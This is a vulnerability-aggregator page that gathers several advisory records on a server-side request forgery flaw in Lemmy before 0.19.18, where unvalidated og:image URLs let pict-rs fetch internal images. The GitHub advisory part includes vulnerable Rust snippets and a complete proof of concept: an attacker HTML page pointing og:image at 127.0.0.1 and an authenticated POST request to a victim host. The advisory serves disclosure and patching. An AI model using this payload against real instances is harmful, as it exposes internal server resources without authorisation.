Lemmy: SSRF and internal image disclosure in post link metadata via unvalidated og:image

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Lemmy is a link aggregator and forum for the fediverse. Prior to version 0.19.18, Lemmy fetches metadata for user-supplied post URLs and, under the default StoreLinkPreviews image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted og:image URL is not subject to the same restriction. As a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users. This issue has been patched in version 0.19.18.

Source published

8 May 2026 19:26:07 UTC

Source modified

11 May 2026 16:01:01 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Lemmy is a link aggregator and forum for the fediverse. Prior to version 0.19.18, Lemmy fetches metadata for user-supplied post URLs and, under the default StoreLinkPreviews image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted og:image URL is not subject to the same restriction. As a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users. This issue has been patched in version 0.19.18.

Source published

May 8, 2026, 7:26:07 PM (timezone not stated)

Source modified

May 11, 2026, 4:01:01 PM (timezone not stated)

Observed here

7 Nov 2026 09:32:17 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Lemmy is a link aggregator and forum for the fediverse. Prior to version 0.19.18, Lemmy fetches metadata for user-supplied post URLs and, under the default StoreLinkPreviews image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted og:image URL is not subject to the same restriction. As a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users. This issue has been patched in version 0.19.18.

Source published

8 May 2026 20:16:31 UTC

Source modified

26 Oct 2026 18:10:00 UTC

Observed here

27 Oct 2026 11:12:01 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

### Summary Lemmy fetches metadata for user-supplied post URLs and, under the default `StoreLinkPreviews` image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted `og:image` URL is not subject to the same restriction. As a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users. ### Details The metadata fetch logic applies an internal-address check only to the initial post URL. After HTML parsing, `extract_opengraph_data()` accepts absolute `og:image` values and returns them as-is. Later, `generate_post_link_metadata()` passes that second-hop image URL into `generate_pictrs_thumbnail()`, which instructs local pict-rs to fetch it through `image/download?url=...`. This creates a two-stage source-to-sink chain where the first URL is constrained, but the security boundary is bypassed through an unvalidated secondary resource. Core vulnerable code path: ```rust // crates/api_common/src/request.rs let metadata = match &post.url { Some(url) => fetch_link_metadata(url, &context, false).await.unwrap_or_default(), _ => Default::default(), }; ``` ```rust // crates/api_common/src/request.rs let og_image = page .opengraph .images .first() .and_then(|ogo| url.join(&ogo.url).ok()); ``` ```rust // crates/api_common/src/request.rs let thumbnail_url = if let (true, Some(url)) = (allow_generate_thumbnail, image_url.clone()) { generate_pictrs_thumbnail(&url, &context).await.ok().map(Into::into).or(image_url) } else { image_url.clone() }; ``` ```rust // crates/api_common/src/request.rs let fetch_url = format!( "{}image/download?url={}&resize={}", pictrs_config.url, encode(image_url.as_str()), context.settings().pictrs_config()?.max_thumbnail_size ); ``` These snippets show that only the outer page URL is checked, while the extracted `og:image` value becomes a server-side fetch target without an equivalent internal-address guard. ### PoC Prerequisites: - The attacker has a valid low-privileged account. - The instance uses the default link preview storage mode. - The attacker can post a link to a community they can access. Practical reproduction flow: 1. Host a public HTML page under attacker control. 2. Add an Open Graph image tag whose value points to an internal image URL reachable from the Lemmy host, such as `http://127.0.0.1:8081/internal.png`. 3. Create a Lemmy post whose `url` is the attacker-controlled page. 4. Observe Lemmy fetch the public page, extract `og:image`, and then fetch the internal image through pict-rs. 5. Observe the created post receive a local thumbnail URL, demonstrating that the internal image was retrieved and cached. Complete PoC attacker page: ```html <html><head> <meta property="og:image" content="http://127.0.0.1:8081/internal.png"> </head><body>x</body></html> ``` Complete PoC request: ```http POST /api/v3/post HTTP/1.1 Host: victim.example Authorization: Bearer <low-priv-jwt> Content-Type: application/json { "name": "thumb-ssrf", "community_id": 1, "url": "https://attacker.example/og.html", "body": null, "alt_text": null, "honeypot": null, "nsfw": false, "language_id": null, "custom_thumbnail": null } ``` Outcome: - The post creation request succeeds. - The internal image endpoint receives a request from the Lemmy server. - The created post is updated with a local `thumbnail_url`, indicating that the internal image was fetched and cached. ### Impact This issue upgrades an attacker-controlled external page into an internal image fetch primitive. It can be used to retrieve internal image resources, expose content that is otherwise reachable only from the application host, and publish those internal resources through Lemmy's own thumbnail serving path. Because the vulnerable mode is the documented default behavior for link previews, the issue is relevant even without non-default privacy settings.

Source published

24 Apr 2026 15:21:58 UTC

Source modified

13 May 2026 13:52:25 UTC

Observed here

24 Oct 2026 13:19:54 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Publisher rating · MODERATE